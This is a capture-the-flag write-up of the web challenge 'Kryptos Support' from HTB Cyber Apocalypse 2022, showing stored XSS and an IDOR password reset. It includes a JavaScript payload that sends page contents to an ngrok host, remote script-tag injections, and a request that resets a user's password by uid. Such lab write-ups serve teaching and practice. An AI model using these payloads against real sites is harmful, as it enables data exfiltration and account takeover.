Kryptos Support challenge Writeup

HTB Cyber Apocalypse CTF 2022 was held from the 14th of May Until the 19th of the month , and we have participated under the team 0xcha0s, we have managed to solve multiple challenges. this challenge was ranked easy

CTF name	Cyber Apocalypse CTF 2022
challenge	Kryptos Support
category	web
about	XSS , IDOR
team	0xCha0s

Discovery :

This easy challenge are introduced with this page , as we see just add a report issue interface:

There is also end point /login But there is no /signup or register

and First thing i have tried is to get xss , i used xsshunter as a proof only latter on will use ngrok http server :

<script src=https://XXXXXXX.xss.ht></script>

and we get a hit :

we know from the report the following :

• vulnerable page http://127.0.0.1:1337/tickets/new
• the session used is JWT based: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI3NzEwMTh9.iQshqI16zGjE3tUOVQHsqLKaZofC8JyFN4CWhHH6lWg
• and from the DOM we can see there are other internal end points which are /settings and /logout

Decoding the cookie we got the username and the uid

Attacking :

I wanted to get an overview about what functions are there in the /settings page. so we craft this payload :

var xhr = new XMLHttpRequest();
xhr.open("GET", "http://127.0.0.1:1337/settings");
xhr.onload = function () {
  var out = btoa(xhr.responseText);
  var exfil = new XMLHttpRequest();
  exfil.open("GET", "http://3bbd-156-194-235-84.ngrok.io/?out=" + out);
  exfil.send();
};
xhr.send();

and will use this payload at the report page to request the script we host :

<script src="http://3bbd-156-194-235-84.ngrok.io/get.js"></script>

decoding it :

will notice the page has the update password function also , we can check the Js code under /static/js/settings.js and it is publicly exposed :

$(document).ready(function() {
	$("#update-btn").on('click', updatePassword);

});

async function updatePassword() {

	$('#update-btn').prop('disabled', true);

	let card = $("#resp-msg");
    card.text('Updating password, please wait');
	card.show();

	let uid = $("#uid").val();
	let password1 = $("#password1").val();
	let password2 = $("#password2").val();

	if ($.trim(password1) === '' || password1 !== password2) {
		$('#update-btn').prop('disabled', false);
		card.text("Please type-in the same password!");
		card.show();
		return;
	}

	await fetch(`/api/users/update`, {
			method: 'POST',
			headers: {
				'Content-Type': 'application/json',
			},
			body: JSON.stringify({password: password1, uid}),
		})
		.then((response) => response.json()
			.then((resp) => {
				card.text(resp.message);
				card.show();
			}))
		.catch((error) => {
			card.text(error);
			card.show();
		});

    $('#update-btn').prop('disabled', false);
}

The catch here is that it doesn’t check the old password , just providing the uid and the new password will reset the password. we can confirm with this script which will reset the password of the moderator user

var xhr = new XMLHttpRequest();
var theUrl = "http://127.0.0.1:1337/api/users/update";
xhr.open("POST", theUrl);
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send(JSON.stringify({ password: "testme123", uid: "100" }));

And we have successfully logged in with the new password and the username moderator :

Now why not reset the password for the user admin too ? , as it doesn’t check on the uid , we can run intruder to fuzz the admin uid But for our luck it is 1 . from the moderator account we can reset the password without the need to use javascript code and ngrok hosting it

and now we can login with the admin user